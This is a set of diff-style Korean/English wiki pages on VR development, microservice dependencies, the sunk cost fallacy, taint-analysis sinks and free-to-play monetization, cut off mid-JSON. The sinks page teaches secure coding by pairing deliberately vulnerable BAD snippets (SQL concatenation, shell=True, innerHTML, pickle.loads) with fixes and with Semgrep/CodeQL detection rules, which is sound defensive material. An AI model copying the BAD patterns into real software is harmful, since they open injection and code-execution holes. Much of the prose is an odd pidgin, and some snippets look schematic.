> **"매 VR 의 head-mounted display + 6DoF tracking 의 immersive 3D world."**. 매 1968 Sutherland 의 Sword of Damocles 의 origin, 매 2026 의 Apple Vision Pro 2 / Quest 4 / Valve Deckard 의 mainstream 진입, 매 spatial computing 의 paradigm shift.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 hardware stack
|
||||
- HMD: dual-display (매 eye 마다 4K micro-OLED 의 2026 표준).
|
||||
- Tracking: inside-out SLAM (매 cameras + IMU) 또는 outside-in lighthouse.
|
||||
- Controllers: 6DoF + finger tracking + haptics.
|
||||
- Eye tracking + foveated rendering: 매 GPU cost 의 50-70% 감소.
|
||||
|
||||
### 매 software stack
|
||||
- OpenXR: 매 Khronos cross-vendor standard.
|
||||
- Unity XR / Unreal XR / Godot XR: engine layer.
|
||||
- WebXR: browser-based VR.
|
||||
- visionOS / Horizon OS / SteamVR: platform layer.
|
||||
|
||||
### 매 응용
|
||||
1. Gaming (Half-Life Alyx, Beat Saber).
|
||||
2. Training simulation (surgery, aviation, military).
|
||||
3. Virtual collaboration (Horizon Workrooms, Spatial).
|
||||
4. Therapy (PTSD exposure, phobia treatment).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pattern 1 — OpenXR session bootstrap (C++)
|
||||
```cpp
|
||||
XrInstance instance;
|
||||
XrInstanceCreateInfo ci{XR_TYPE_INSTANCE_CREATE_INFO};
|
||||
strcpy(ci.applicationInfo.applicationName, "MyVRApp");
|
||||
ci.applicationInfo.apiVersion = XR_CURRENT_API_VERSION;
|
||||
xrCreateInstance(&ci, &instance);
|
||||
|
||||
XrSystemId sysId;
|
||||
XrSystemGetInfo sgi{XR_TYPE_SYSTEM_GET_INFO};
|
||||
sgi.formFactor = XR_FORM_FACTOR_HEAD_MOUNTED_DISPLAY;
|
||||
xrGetSystem(instance, &sgi, &sysId);
|
||||
```
|
||||
|
||||
### Pattern 2 — Unity XR Interaction (C#)
|
||||
```csharp
|
||||
using UnityEngine.XR.Interaction.Toolkit;
|
||||
|
||||
public class GrabHandler : MonoBehaviour {
|
||||
void OnEnable() {
|
||||
var grab = GetComponent<XRGrabInteractable>();
|
||||
grab.selectEntered.AddListener(OnGrab);
|
||||
}
|
||||
void OnGrab(SelectEnterEventArgs args) {
|
||||
Debug.Log($"Grabbed by {args.interactorObject}");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Pattern 3 — foveated rendering hint (Unreal)
|
||||
```cpp
|
||||
// VRS (Variable Rate Shading) tied to eye gaze
|
||||
FEyeTrackerGazeData gaze;
|
||||
UEyeTrackerFunctionLibrary::GetGazeData(gaze);
|
||||
FoveationRenderer->SetFoveationCenter(gaze.GazeOrigin, gaze.GazeDirection);
|
||||
FoveationRenderer->SetFoveationLevel(EFoveationLevel::High);
|
||||
```
|
||||
|
||||
### Pattern 4 — locomotion (teleport, smooth, room-scale)
|
||||
```csharp
|
||||
// Teleport: discrete jump (low motion sickness).
|
||||
// Smooth: continuous joystick (immersion ↑, sickness ↑).
|
||||
// Room-scale: physical walking within play area.
|
||||
locomotionProvider.MoveType = comfortSetting == HIGH ? Teleport : Smooth;
|
||||
```
|
||||
|
||||
### Pattern 5 — async reprojection (90Hz lock)
|
||||
```cpp
|
||||
// Compositor re-warps last frame using latest head pose
|
||||
// when app misses frame budget. Critical for sub-20ms motion-to-photon.
|
||||
xrEndFrame(session, &endInfo); // compositor handles reprojection
|
||||
```
|
||||
|
||||
### Pattern 6 — WebXR session
|
||||
```javascript
|
||||
const session = await navigator.xr.requestSession('immersive-vr', {
|
||||
requiredFeatures: ['local-floor', 'hand-tracking']
|
||||
});
|
||||
const refSpace = await session.requestReferenceSpace('local-floor');
|
||||
session.requestAnimationFrame(onXRFrame);
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 cross-platform deploy | OpenXR + Unity XR |
|
||||
| 매 web reach | WebXR |
|
||||
| 매 Apple ecosystem only | visionOS native (Swift + RealityKit) |
|
||||
| 매 maximum fidelity (PCVR) | Unreal + Vulkan |
|
||||
| 매 mobile standalone | Quest native (Android NDK) |
|
||||
|
||||
**기본값**: 매 Unity XR + OpenXR 의 cross-vendor.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Computer-Graphics]] · [[Human-Computer-Interaction]]
|
||||
- 변형: [[Mixed-Reality]] · [[Spatial-Computing]]
|
||||
- Adjacent: [[깊이_지각(Depth_perception)]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 immersive simulation 의 design 시, 매 OpenXR API 의 boilerplate 생성, 매 locomotion 의 comfort tradeoff 분석.
|
||||
**언제 X**: 매 hardware-specific tuning (매 HMD 마다 의 IPD calibration), 매 user 의 actual motion sickness 의 real-world test.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Frame drops**: 매 90Hz 미달 → motion sickness 직결. 매 budget 의 11ms hard cap.
|
||||
- **Smooth locomotion default**: 매 first-time user 의 nausea 의 cause. Teleport default.
|
||||
- **Camera jerks**: 매 cinematic cuts 의 cinema convention 의 VR 적용 금지.
|
||||
- **Tiny UI**: 매 angular size <2° 의 unreadable. 매 dpi 의 web 의 mental model 금지.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Khronos OpenXR spec, Apple visionOS docs, Meta Developer docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — VR hardware/software stack + OpenXR/Unity/Unreal patterns |
|
||||
+165
@@ -0,0 +1,165 @@
|
||||
---
|
||||
id: wiki-2026-0508-마이크로서비스-아키텍처의-의존성-관리
|
||||
title: 마이크로서비스 아키텍처의 의존성 관리
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Microservice Dependency Management, Service Dependencies, MSA 의존성]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [microservices, architecture, dependency-management, distributed-systems]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: Go
|
||||
framework: gRPC/Kubernetes
|
||||
---
|
||||
|
||||
# 마이크로서비스 아키텍처의 의존성 관리
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 service 간 coupling 의 minimize, 매 explicit contract 의 enforce."**. 매 monolith 의 internal call 의 network call 의 transform 의 후, 매 transitive dependency · version skew · cascading failure 의 새로운 challenge 의 emerge. 2026 modern stack 은 매 OpenAPI/Protobuf contract + service mesh (Istio/Linkerd) + 매 SBOM-driven dependency tracking 의 combine.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 dependency 의 종류
|
||||
- **Build-time**: 매 shared library 의 dependency (avoid — leads to coordinated deploys).
|
||||
- **Runtime sync**: 매 HTTP/gRPC call 의 직접 의존 (latency · failure propagation).
|
||||
- **Runtime async**: 매 event/queue 의 통한 loose coupling (Kafka, NATS).
|
||||
- **Data**: 매 shared DB schema 의 의존 (anti-pattern — own your data).
|
||||
|
||||
### 매 핵심 원칙
|
||||
- **Bounded context**: 매 서비스 의 own 의 data + 매 logic 의 own.
|
||||
- **Explicit contract**: 매 OpenAPI/gRPC schema 의 source-of-truth.
|
||||
- **Backward compatibility**: 매 N-2 version 의 support.
|
||||
- **Failure isolation**: 매 circuit breaker · timeout · bulkhead.
|
||||
|
||||
### 매 응용
|
||||
1. 매 dependency graph 의 visualize (Backstage, Grafana service map).
|
||||
2. 매 contract testing 의 CI integration (Pact, Schemathesis).
|
||||
3. 매 chaos engineering 의 통한 cascading failure 의 test.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Circuit Breaker (Go, gobreaker)
|
||||
```go
|
||||
import "github.com/sony/gobreaker"
|
||||
|
||||
cb := gobreaker.NewCircuitBreaker(gobreaker.Settings{
|
||||
Name: "payment-service",
|
||||
MaxRequests: 3,
|
||||
Interval: 60 * time.Second,
|
||||
Timeout: 30 * time.Second,
|
||||
ReadyToTrip: func(c gobreaker.Counts) bool {
|
||||
return c.ConsecutiveFailures > 5
|
||||
},
|
||||
})
|
||||
|
||||
result, err := cb.Execute(func() (interface{}, error) {
|
||||
return paymentClient.Charge(ctx, req)
|
||||
})
|
||||
```
|
||||
|
||||
### gRPC contract via Protobuf
|
||||
```proto
|
||||
syntax = "proto3";
|
||||
package payment.v1;
|
||||
|
||||
service PaymentService {
|
||||
rpc Charge(ChargeRequest) returns (ChargeResponse);
|
||||
}
|
||||
|
||||
message ChargeRequest {
|
||||
string order_id = 1;
|
||||
int64 amount_cents = 2;
|
||||
string currency = 3;
|
||||
}
|
||||
```
|
||||
|
||||
### Pact consumer-driven contract test
|
||||
```typescript
|
||||
import { PactV3 } from "@pact-foundation/pact";
|
||||
|
||||
const provider = new PactV3({ consumer: "checkout", provider: "payment" });
|
||||
|
||||
provider
|
||||
.uponReceiving("a charge request")
|
||||
.withRequest({ method: "POST", path: "/v1/charge", body: { amount: 1000 } })
|
||||
.willRespondWith({ status: 200, body: { id: "ch_123", status: "ok" } });
|
||||
```
|
||||
|
||||
### Async event via Kafka (decouple)
|
||||
```go
|
||||
producer.Send(&kafka.Message{
|
||||
Topic: "order.placed.v1",
|
||||
Value: marshal(OrderPlaced{ID: orderID, Items: items}),
|
||||
})
|
||||
// payment, inventory, notification 의 own pace 의 consume.
|
||||
```
|
||||
|
||||
### Service mesh policy (Istio)
|
||||
```yaml
|
||||
apiVersion: networking.istio.io/v1beta1
|
||||
kind: VirtualService
|
||||
spec:
|
||||
hosts: [payment]
|
||||
http:
|
||||
- timeout: 2s
|
||||
retries:
|
||||
attempts: 3
|
||||
perTryTimeout: 500ms
|
||||
retryOn: 5xx,reset,connect-failure
|
||||
```
|
||||
|
||||
### Dependency graph extraction
|
||||
```bash
|
||||
# Backstage catalog scan + 매 OpenTelemetry trace 의 통한 actual call graph
|
||||
otel-cli export --format=json | jq '.spans[] | {service, downstream}'
|
||||
```
|
||||
|
||||
### SBOM for transitive deps
|
||||
```bash
|
||||
syft packages dir:. -o cyclonedx-json > sbom.json
|
||||
grype sbom:sbom.json --fail-on high
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Strong consistency 의 required | Sync gRPC + saga compensation |
|
||||
| 매 latency-sensitive read | Sync + cache (Redis) |
|
||||
| 매 cross-service workflow | Async event + saga orchestrator (Temporal) |
|
||||
| Shared reference data | Read replica or 매 cached projection |
|
||||
| Tight build coupling | Refactor — extract 매 shared concept 의 own service |
|
||||
|
||||
**기본값**: 매 async event-driven + 매 contract testing + 매 service mesh resilience.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Microservices]] · [[Distributed_Systems]]
|
||||
- 변형: [[Service_Mesh]] · [[Event_Driven_Architecture]]
|
||||
- 응용: [[Circuit_Breaker]] · [[Contract_Testing]]
|
||||
- Adjacent: [[API_Versioning]] · [[Observability]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 service decomposition 의 design, 매 dependency graph 의 review, 매 contract evolution 의 plan.
|
||||
**언제 X**: 매 small monolith — 매 premature decomposition 의 cost > benefit.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Distributed monolith**: 매 service 의 split 의 했지만 매 deploy 의 still coordinated.
|
||||
- **Shared DB**: 매 두 service 가 same table 의 write — coupling worst case.
|
||||
- **Chatty API**: 매 single user action 의 N개 service call 의 fan-out.
|
||||
- **No timeout**: 매 default infinite timeout — cascading hang.
|
||||
- **Synchronous chain**: A → B → C → D 매 single failure 의 entire chain 의 break.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Sam Newman *Building Microservices* 2nd ed, CNCF service mesh landscape 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — dependency types, contract testing, mesh resilience patterns |
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
---
|
||||
id: wiki-2026-0508-매몰-비용-오류-sunk-cost-fallacy
|
||||
title: 매몰 비용 오류 (Sunk Cost Fallacy)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Sunk Cost Fallacy, Concorde Fallacy]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [cognitive-bias, decision-making, architecture-decision]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: na
|
||||
framework: decision-framework
|
||||
---
|
||||
|
||||
# 매몰 비용 오류 (Sunk Cost Fallacy)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 이미 쓴 비용 때문에 매 잘못된 길을 더 간다"**. Arkes & Blumer (1985) 가 실증. 매 software 에서 "이미 6개월 썼으니 이 framework 못 버려" 의 형태로 발현 — 매 Concorde 사례 (영국+프랑스 정부가 이미 투자 때문에 적자 supersonic jet 을 1976-2003 운영) 에서 명명.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 매커니즘
|
||||
- **Loss aversion** (Kahneman): 매 손실 회피 본능이 합리적 abandon 을 막음.
|
||||
- **Commitment escalation**: 매 공개적 commitment 일수록 후퇴 비용 (face) 추가.
|
||||
- **Effort justification**: 매 노력한 만큼 가치 있다고 후방 합리화.
|
||||
|
||||
### 매 Software 발현
|
||||
- Legacy framework 을 1년 마이그레이션 했는데 막힘 → 매 그래도 끝까지.
|
||||
- 6개월 짠 architecture 의 fundamental flaw 발견 → 매 patch 만 계속.
|
||||
- 1만 LOC PR review 에서 fundamental design 문제 발견 → 매 reviewer 가 미안해서 통과.
|
||||
|
||||
### 매 응용 (decision rule)
|
||||
1. "Forward-looking only": 매 future cost vs future benefit 만 비교.
|
||||
2. Pre-commit kill criteria: 매 시작 전에 abandon 조건 명문화.
|
||||
3. Sunk cost label 명시: 매 retro 에서 "this is sunk cost reasoning" 언급 normalizing.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Decision Journal Template
|
||||
```markdown
|
||||
## Project Continuation Review
|
||||
- Already invested: $X / Y months (sunk — IGNORE for decision)
|
||||
- Estimated cost-to-complete: $A / B months
|
||||
- Estimated value if completed: $V
|
||||
- Estimated value of best alternative: $W
|
||||
- DECISION: continue iff (V - A) > (W - 0)
|
||||
```
|
||||
|
||||
### Pre-Mortem Kill Criteria
|
||||
```yaml
|
||||
# project-charter.yml
|
||||
project: legacy-migration
|
||||
abandon_if:
|
||||
- cost_overrun_percent: 50
|
||||
- timeline_overrun_percent: 100
|
||||
- critical_unknown_unknowns_found: true
|
||||
- team_morale_score_below: 5
|
||||
- alternative_emerges_with_value_ratio: 2.0
|
||||
```
|
||||
|
||||
### LLM-Assisted Sunk Cost Detection
|
||||
```python
|
||||
# Project review prompt
|
||||
prompt = """
|
||||
Analyze this project status report for sunk cost reasoning.
|
||||
Flag phrases like:
|
||||
- "we've already invested..."
|
||||
- "we've come too far..."
|
||||
- "we can't waste what we've done..."
|
||||
Suggest forward-looking reframes.
|
||||
|
||||
Report: {status_report}
|
||||
"""
|
||||
# Use Claude Opus 4.7 for nuanced detection
|
||||
```
|
||||
|
||||
### Stop-Loss Rule (Trading-style)
|
||||
```python
|
||||
class ProjectStopLoss:
|
||||
def __init__(self, max_overrun=1.5):
|
||||
self.max_overrun = max_overrun
|
||||
self.original_estimate = None
|
||||
|
||||
def should_kill(self, current_spend, original_estimate):
|
||||
return current_spend / original_estimate > self.max_overrun
|
||||
```
|
||||
|
||||
### Reverse-Engineering the Decision
|
||||
```markdown
|
||||
## Fresh-Eye Test
|
||||
"If I were starting today with zero invested,
|
||||
would I choose this path?"
|
||||
- If NO → sunk cost reasoning is in play
|
||||
- If YES → continue is rational
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 50% 진행, 막힘 발견 | Fresh-eye test 적용 |
|
||||
| 사용자 commit 한 feature | Demo MVP 후 재평가 (sunk cost 제외) |
|
||||
| Public roadmap 약속 | Communicate honestly, kill if forward-looking 비합리 |
|
||||
| 팀 morale 의 sunk cost | Retro + explicit naming |
|
||||
|
||||
**기본값**: Forward-looking analysis + pre-commit kill criteria.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Cognitive_Bias]] · [[Decision_Making]]
|
||||
- 변형: [[Concorde_Fallacy]]
|
||||
- Adjacent: [[Loss_Aversion]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 project status report 의 sunk cost reasoning 자동 탐지, 매 retro facilitation, 매 reframe suggestion.
|
||||
**언제 X**: 매 emotional / political stakes 가 본질인 상황 — 매 사람의 심리적 work 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **"이미 X% 했어"**: 매 그 자체가 결정 근거가 됨 — 매 fallacy 본체.
|
||||
- **No kill criteria**: 매 시작할 때 abandon 조건이 없음 → 매 무한 escalation.
|
||||
- **Public commitment 의 hostage**: 매 face-saving 위해 매 손실 누적.
|
||||
- **Confirmation seeking**: 매 "이미 했으니 옳다" 증거만 모음.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Arkes & Blumer 1985, *Organizational Behavior and Human Decision Processes*; Kahneman *Thinking Fast and Slow* 2011).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — software-specific patterns + LLM detection 추가 |
|
||||
@@ -0,0 +1,179 @@
|
||||
---
|
||||
id: wiki-2026-0508-배수구-sinks
|
||||
title: 배수구 (Sinks)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Sinks, Taint Sinks, Dangerous Sinks, Vulnerable Functions]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [security, taint-analysis, sast, vulnerabilities, appsec]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: multi
|
||||
framework: Semgrep/CodeQL
|
||||
---
|
||||
|
||||
# 배수구 (Sinks)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 untrusted data 의 dangerous 의 reach 한 곳 — 매 taint analysis 의 endpoint."**. Source (사용자 input) → Flow (변수, 함수 chain) → Sink (eval, exec, SQL, file write). 2026 SAST tooling (CodeQL, Semgrep, Snyk Code) 은 매 이 source-to-sink graph 의 trace — 매 sanitizer 의 absence 의 vulnerability 의 flag.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 sink 의 종류
|
||||
- **Code execution**: `eval`, `exec`, `Function()`, `os.system`, 매 deserialize.
|
||||
- **SQL**: 매 raw query string concat (`f"SELECT * FROM u WHERE id={id}"`).
|
||||
- **Command**: `subprocess.Popen(shell=True)`, `child_process.exec`.
|
||||
- **Path**: `open(path)` with 매 user-controlled path → traversal.
|
||||
- **HTML/DOM**: `innerHTML`, `document.write` → XSS.
|
||||
- **SSRF**: `requests.get(user_url)` → 매 internal network access.
|
||||
- **Log forging / template**: 매 user input 의 unescape 된 template.
|
||||
|
||||
### 매 source 의 종류
|
||||
- HTTP request body/query/header.
|
||||
- 매 file content (untrusted upload).
|
||||
- 매 environment variable (in shared env).
|
||||
- 매 third-party API response.
|
||||
- 매 message queue payload.
|
||||
|
||||
### 매 응용
|
||||
1. 매 SAST rule 의 author — 매 custom sink 의 register.
|
||||
2. 매 code review 의 checklist — 매 sink 의 list 의 grep.
|
||||
3. 매 fuzzing target 의 prioritize — 매 sink 가 most 인 endpoint.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Semgrep — custom sink rule
|
||||
```yaml
|
||||
rules:
|
||||
- id: python-eval-tainted
|
||||
pattern-sources:
|
||||
- pattern: request.$X
|
||||
pattern-sinks:
|
||||
- pattern: eval(...)
|
||||
- pattern: exec(...)
|
||||
pattern-sanitizers:
|
||||
- pattern: ast.literal_eval(...)
|
||||
message: User input 의 eval 의 reach
|
||||
severity: ERROR
|
||||
languages: [python]
|
||||
```
|
||||
|
||||
### CodeQL — taint tracking
|
||||
```ql
|
||||
import python
|
||||
import semmle.python.dataflow.new.TaintTracking
|
||||
|
||||
class UserInputToSqlConfig extends TaintTracking::Configuration {
|
||||
override predicate isSource(DataFlow::Node n) {
|
||||
n.asExpr().(Attribute).getAttr() in ["args", "form", "json"]
|
||||
}
|
||||
override predicate isSink(DataFlow::Node n) {
|
||||
exists(Call c | c.getFunc().(Attribute).getAttr() = "execute" |
|
||||
n.asExpr() = c.getArg(0))
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### SQL sink — parameterize (fix)
|
||||
```python
|
||||
# BAD — sink reachable
|
||||
db.execute(f"SELECT * FROM users WHERE id = {user_id}")
|
||||
|
||||
# GOOD — sink 의 sanitize (parameterized)
|
||||
db.execute("SELECT * FROM users WHERE id = %s", (user_id,))
|
||||
```
|
||||
|
||||
### Command sink — avoid shell
|
||||
```python
|
||||
# BAD
|
||||
subprocess.run(f"ping {host}", shell=True)
|
||||
|
||||
# GOOD
|
||||
subprocess.run(["ping", "-c", "1", host], shell=False)
|
||||
```
|
||||
|
||||
### Path traversal sink — resolve + check
|
||||
```python
|
||||
import os
|
||||
base = "/var/uploads"
|
||||
path = os.path.realpath(os.path.join(base, user_filename))
|
||||
if not path.startswith(base + os.sep):
|
||||
raise PermissionError("path traversal")
|
||||
open(path, "rb")
|
||||
```
|
||||
|
||||
### XSS sink — escape
|
||||
```javascript
|
||||
// BAD
|
||||
el.innerHTML = userBio;
|
||||
|
||||
// GOOD — DOM API
|
||||
el.textContent = userBio;
|
||||
// 또는 매 DOMPurify 의 sanitize 후
|
||||
el.innerHTML = DOMPurify.sanitize(userBio);
|
||||
```
|
||||
|
||||
### SSRF — allowlist
|
||||
```python
|
||||
from urllib.parse import urlparse
|
||||
ALLOWED_HOSTS = {"api.partner.com", "img.cdn.com"}
|
||||
def safe_fetch(url):
|
||||
host = urlparse(url).hostname
|
||||
if host not in ALLOWED_HOSTS: raise ValueError("blocked host")
|
||||
# 매 DNS rebinding 의 also guard — 매 resolve + IP check
|
||||
return requests.get(url, timeout=5)
|
||||
```
|
||||
|
||||
### Deserialize sink — never on untrusted
|
||||
```python
|
||||
# BAD — pickle 의 RCE
|
||||
data = pickle.loads(request.body)
|
||||
|
||||
# GOOD — JSON only
|
||||
data = json.loads(request.body)
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| Sink type | Sanitizer | Notes |
|
||||
|---|---|---|
|
||||
| SQL | Parameterized query, ORM | 매 string concat 의 X |
|
||||
| Shell | argv list, no `shell=True` | 매 quoting 의 trust 의 X |
|
||||
| Path | realpath + prefix check | symlink 의 also handle |
|
||||
| HTML | textContent or DOMPurify | 매 innerHTML 매 last resort |
|
||||
| Eval | 매 그냥 사용 X | 매 alternative 의 find |
|
||||
| Deserialize | JSON only on untrusted | pickle/yaml.load 매 X |
|
||||
|
||||
**기본값**: 매 sink 의 see 한 후 매 source 의 trace — 매 sanitizer 의 between 의 verify.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Application_Security]]
|
||||
- 변형: [[SAST]] · [[보안_및_시스템_신뢰성_표준|DAST]] · [[IAST]]
|
||||
- 응용: [[OWASP_Top_10]]
|
||||
- Adjacent: [[Fuzzing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 unfamiliar codebase 의 sink inventory 의 quickly 의 generate, 매 PR 매 new sink 의 introduce 의 spot.
|
||||
**언제 X**: 매 production-grade SAST 의 replace — 매 LLM 의 false negative 의 risk, 매 dedicated tooling 의 use.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Blacklist sanitizer**: 매 known-bad 의 remove — 매 bypass 의 always exist.
|
||||
- **Sanitize at sink**: 매 throughout flow 의 mutate — 매 single point 의 trust 의 X.
|
||||
- **Trust 매 internal**: 매 internal API 의 source 의 also treat — 매 SSRF · Confused deputy.
|
||||
- **Generic exception**: 매 sanitizer fail 의 silent swallow — 매 fail closed.
|
||||
- **String comparison 의 host check**: 매 `endswith("trusted.com")` → `evil-trusted.com` bypass.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (OWASP Source-Sink-Sanitizer model, CodeQL taint tracking docs, Semgrep registry 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — sink categories, SAST rules, sanitizer patterns |
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
---
|
||||
id: wiki-2026-0508-부분-유료화-free-to-play
|
||||
title: 부분 유료화 (Free-to-Play)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Free-to-Play, F2P, Freemium, 부분유료화, 프리투플레이]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [game-design, monetization, business-model, economy]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: language-agnostic
|
||||
framework: monetization
|
||||
---
|
||||
|
||||
# 부분 유료화 (Free-to-Play)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 무료 entry, 매 in-game purchase 의 통한 monetize."**. 2010s mobile gaming 의 explosion 의 driver — 매 Candy Crush, Clash of Clans, Genshin Impact, Fortnite 의 backbone. 2026 의 매 cosmetics-only (Fortnite, Valorant) 와 매 progression-gated (gacha) 의 split — 매 EU/KR regulation (gambling disclosure, 매 odds publication) 의 매 design 의 reshape.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 monetization 의 종류
|
||||
- **Cosmetic**: 매 skin · emote · nameplate — 매 power 의 X.
|
||||
- **Battle pass**: 매 seasonal progression — 매 paid + free track.
|
||||
- **Gacha / loot box**: 매 randomized reward — 매 rarity tier.
|
||||
- **Energy / wait gate**: 매 stamina · timer — 매 pay-to-skip.
|
||||
- **Pay-to-win (P2W)**: 매 power 의 직접 sell — 매 controversial.
|
||||
- **Subscription**: 매 monthly perk (Apple Arcade, Game Pass — F2P 의 hybrid).
|
||||
|
||||
### 매 metric
|
||||
- **ARPU**: average revenue per user.
|
||||
- **ARPPU**: average revenue per paying user.
|
||||
- **Conversion rate**: 매 free → paying %.
|
||||
- **Whale concentration**: 매 top 1% 의 50%+ revenue 의 contribute (typical).
|
||||
- **D1/D7/D30 retention**: 매 monetization 의 prerequisite.
|
||||
|
||||
### 매 응용
|
||||
1. 매 economy design — 매 sink/source balance 의 inflation 의 prevent.
|
||||
2. 매 A/B test — 매 price point · 매 offer cadence.
|
||||
3. 매 ethical disclosure — 매 gacha odds publication (KR · CN law).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pricing tier (server config)
|
||||
```yaml
|
||||
products:
|
||||
- id: gem_pack_small
|
||||
price_usd: 4.99
|
||||
gems: 500
|
||||
bonus: 0
|
||||
- id: gem_pack_medium
|
||||
price_usd: 19.99
|
||||
gems: 2200 # 매 10% bonus
|
||||
bonus: 200
|
||||
badge: "best_value"
|
||||
- id: gem_pack_large
|
||||
price_usd: 99.99
|
||||
gems: 13000 # 매 30% bonus, whale tier
|
||||
bonus: 3000
|
||||
```
|
||||
|
||||
### Gacha pull with pity
|
||||
```python
|
||||
import random
|
||||
|
||||
def pull(banner, pity_counter):
|
||||
rates = banner.rates # {"5★": 0.006, "4★": 0.051, "3★": 0.943}
|
||||
if pity_counter >= banner.hard_pity: # 매 90 pulls 의 5★ guarantee
|
||||
return banner.featured_5star, 0
|
||||
r = random.random()
|
||||
if r < rates["5★"]: return random_5star(), 0
|
||||
if r < rates["5★"] + rates["4★"]: return random_4star(), pity_counter + 1
|
||||
return random_3star(), pity_counter + 1
|
||||
```
|
||||
|
||||
### Battle pass progression
|
||||
```typescript
|
||||
interface BattlePass {
|
||||
season: number;
|
||||
currentXP: number;
|
||||
tiers: Tier[]; // 매 100 tiers
|
||||
ownsPaid: boolean;
|
||||
}
|
||||
|
||||
function unlockedRewards(bp: BattlePass): Reward[] {
|
||||
const tier = Math.floor(bp.currentXP / 1000);
|
||||
return bp.tiers.slice(0, tier).flatMap(t =>
|
||||
bp.ownsPaid ? [t.free, t.paid] : [t.free]
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Energy/stamina regen
|
||||
```typescript
|
||||
function currentStamina(user: User, now: Date): number {
|
||||
const elapsed = (now.getTime() - user.lastStaminaUpdate.getTime()) / 1000;
|
||||
const regen = Math.floor(elapsed / 360); // 매 6 min/point
|
||||
return Math.min(user.stamina + regen, user.maxStamina);
|
||||
}
|
||||
// pay 의 instant refill: refill_cost = 50 gems
|
||||
```
|
||||
|
||||
### Whale-friendly bundle
|
||||
```yaml
|
||||
bundle_starter:
|
||||
one_time_only: true
|
||||
price_usd: 0.99
|
||||
contents:
|
||||
- hero_card_5star: 1
|
||||
- gems: 1000
|
||||
rationale: "low-friction first purchase — 매 conversion driver"
|
||||
```
|
||||
|
||||
### Disclosure (KR/CN law compliance)
|
||||
```json
|
||||
{
|
||||
